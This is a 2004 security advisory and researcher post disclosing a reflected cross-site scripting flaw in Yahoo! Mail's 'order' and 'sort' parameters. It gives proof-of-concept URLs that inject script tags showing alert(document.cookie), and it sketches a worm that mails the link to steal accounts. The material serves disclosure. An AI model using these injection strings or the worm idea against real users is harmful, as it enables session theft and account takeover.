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Category:  Application (E-mail Server)  >  Yahoo Mail Vendors:  Yahoo
Yahoo! Mail 'order' and 'sort' Field Input Validation Flaw Permits Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1009352
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 9 2004
Impact:  Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Description:  Rafel Ivgi (The-Insider) reported an input validation vulnerability in Yahoo! Mail. A remote user can conduct cross-site scripting attacks.

It is reported that the Yahoo! Mail service does not validate user-supplied input in the 'order' and 'sort' fields. A remote user can create a specially crafted URL that, when loaded by a target user that is logged in to the Yahoo! Mail service, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the Yahoo! Mail site and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_
0_917_ -1_0&YY=96862&inc=25&order=down"><script>alert('This can be your
cookie')</script>&sort=date&pos=0&view=a&head=b&box=Inbox

http://[target]/ym/ShowLetter?MsgId=3308_15 1647_1069_1720_553_
0_917_-1_0&YY=92552&inc=25&order=down&sort=date"><script>alert(document.cookie)</script>&pos=0&view=a&head=b&box=Inbox

Impact:  A remote user can access the target user's cookies (including authentication cookies), if any, associated with the Yahoo! Mail service, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.yahoo.com/ (Links to External Site)
Cause:  Input validation error
Reported By:  Rafel Ivgi, The-Insider <theinsider@012.net.il>
Message History:   None.


 Source Message Contents

Date:  Tue, 9 Mar 2004 09:31:56 +0200
From:  Rafel Ivgi, The-Insider <theinsider@012.net.il>
Subject:  Yahoo WebMail! Cross Site Scripting Vulnerability

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:    Yahoo WebMail!
Vendors:          http://www.yahoo.com
Platforms:        WebMail
Bug:                  Cross Site Scripting
Risk:                 High - Stealing Accounts
Exploitation:    Remote with browser
Date:                9 Mar 2004
Author:             Rafel Ivgi, The-Insider
e-mail:              the_insider@mail.com
web:                 http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Yahoo is one of the world's best and most common free webmail vendor.
Yahoo mail is very reliable, safe and fast. It also allows secure
connections(SSL)
when checking mail.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

Upon login to yahoo mail and checking your mail box you will see your new
mail.
Choose any of your mail and click on it. Now you will se the address bar is
similar to:
http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_
0_917_-1_0&YY=96862&inc=25&order=down&sort=date&pos=0&view=a&head=b&b
ox=Inbo Now lets inspect yahoo's protection on each one of this fields: ---------------------------------------------------------------------------- -------- MsgId=3308_151647_1069_1720_553_0_917_-1_0 --> this field's content doesn't really matter, whats important is that it is numeric and with the correct syntax. YY=96862 --> safe inc=25 --> safe order=down"><script>alert('xss')</script> -->XSS !!! sort=date"><script>alert('xss')</script> -->XSS !!! pos=0 --> safe view=a --> safe head=b --> safe box=Inbox --> safe So pressing/browsing to one of this links(while logged on, or while cookie saved the username and password) A script will be injected and the account can be stolen. http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_ 0_917_-1_0&YY=96862&inc=25&order=down"><script>alert('This can be your cookie')</script>&sort=date&pos=0&view=a&head=b&box=Inbox http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_ 0_917_-1_0&YY=92552&inc=25&order=down&sort=date"><script>alert(document
.cook ie)</script>&pos=0&view=a&head=b&box=Inbox Who is Vulnerable: ------------------------- Any user that checked the "Remember my ID on this computer" checkbox is vulnerable for this Cross Site Scripting attack. Also any user who checks his email and press a link that was inside an email that uses this XSS, therefore a worm can be created that will send mails to all possible accounts on yahoo and will use the XSS to steal the accounts. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_ 0_917_-1_0&YY=96862&inc=25&order=down"><script>alert('This can be your cookie')</script>&sort=date&pos=0&view=a&head=b&box=Inbox http://us.f200.mail.yahoo.com/ym/ShowLetter?MsgId=3308_151647_1069_1720_553_ 0_917_-1_0&YY=92552&inc=25&order=down&sort=date"><script>alert(document
.cook ie)</script>&pos=0&view=a&head=b&box=Inbox ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Things that are unlikeable, are NOT impossible."


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